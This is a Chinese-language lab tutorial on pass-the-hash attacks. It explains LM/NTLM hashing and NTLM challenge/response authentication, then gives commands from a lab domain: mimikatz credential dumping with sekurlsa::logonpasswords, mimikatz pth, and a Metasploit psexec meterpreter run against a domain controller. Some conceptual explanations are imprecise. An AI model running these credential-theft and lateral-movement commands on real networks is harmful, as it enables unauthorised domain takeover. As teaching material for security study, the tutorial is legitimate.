1.概念
哈希传递(Pass the hash,pth) 是一种攻击技术,常用于绕过基于口令的认证系统。该攻击技术中,攻击者利用恶意软件等手段获取到目标计算机系统的哈希值,并将其从一个系统传递到另一个系统,以此来横向访问其他网络系统获得对系统的远程访问权限。此时,攻击者可以使用这个哈希值来代替用户的口令进行认证并登录目标系统,从而不需要知道用户的原始密码即可获取访问权限。攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。
“Pass the hash” 漏洞是由于Windows操作系统在验证用户密码时使用了NTLM(NT LAN Manager)哈希算法,但NTLM被认为是不安全的,并容易被绕过。因此,Microsoft已经推出了更加安全的Kerberos协议和NTLMv2哈希算法来代替NTLM。
1.2 Hash的概念
LM(LAN Manager)Hash算法是 Windows 早期版本使用的口令存储算法。该算法在将用户输入的明文密码转化为大写后,将其填充为14个字符长度,并分成两个7字节长的部分,再经过DES加密和一系列计算后得到56位密文。由于该算法在安全性方面存在缺陷,容易被攻击者通过彩虹表等方式破解出原始密码,因此Microsoft已经废除使用LM hash算法的功能,不推荐使用。
NTLM的加密强度强于LM Hash,它通过挑战-响应认证机制,实现加密传输用户口令,采用多重哈希、随机数、时间戳等技术对用户口令进行保护,提高了账户的安全性。NTLM Hash算法使用单向哈希函数,将用户口令从明文形式转换为一个固定长度的密文串,该密文串也称为NTLM hash值,然后存储在本地计算机或域控制器上。当用户登录时,计算机会以这个hash值与请输入的口令进行比对验证其正确性。如果提交的口令与计算机中存储的NTLM hash值匹配,则可以登录系统。
2.NTLM协议认证
NTLM协议是一种网络认证协议,采用一种质询/应答(Challenge/Response)信息交换模式。
协商:这个过程是客户端向服务器发送(协商)消息,它主要包含客户端支持和服务器请求的功能列表。
客户端向服务器端发送用户信息(用户名)请求
服务器接受到请求,生成一个16位的随机数(每次都不一样),被称之为“Challenge”,使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符),生成Challenge1。同时生成Challenge1后,将Challenge(16位随机字符)发送给客户端。
客户端接收到Challenge后,使用将要登录到账户对应的NTLM Hash加密Challenge生成Response(Net-NTLM Hash),然后将Response(Net-NTLM Hash)发送至服务器端。
2.2 域环境认证
质询Chalenge/Response与验证:
客户端向服务器端发送用户信息(用户名)请求;
服务器接受到请求,生成一个16位的随机数(每次都不一样),被称之为“Challenge”, 将Challenge(16位随机字符)发送给客户端;
客户端接收到Challenge后,使用将要登录到账户对应的NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端;
服务端向域控(DC)发送用户名、返回给客户端的Challenge、客户端发来的Response;
域控(DC)用本地数据库(NTDS.dit)里的请求验证的用户名对应的NTLM Hash加密Challenge,将结果与Response比对,然后将验证结果返回给服务端;
服务端再将结果消息返回给客户端。
域环境:
4.PTH利用实践(域环境)
win7 为web服务器 win7有内外网两个ip 192.168.245.166 192.168.52.143
win2k3为域成员 一个内网ip 192.168.52.141
win2008为域控 一个内网ip 192.168.52.138
kali 192.168.245.165
4.1 获取Hash
(1) Cobalt Strike
win7在Cobalt strike上线后,可以直接获取hash:logonpasswords
privilege::debug
log
sekurlsa::logonpasswords
4.2哈希传递实践
(1) 利用mimikatz哈希传递:
sekurlsa:pth /user:administrator /domain:GOD /ntlm:获取的NTLM hash值
(2) msf 进行哈希传递
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/psexec) > set lhost 192.168.245.165
lhost => 192.168.245.165
msf6 exploit(windows/smb/psexec) > set rhost 192.168.52.138
rhost => 192.168.52.138
msf6 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf6 exploit(windows/smb/psexec) > set smbpass LM:NTLM
smbpass =>
msf6 exploit(windows/smb/psexec) > run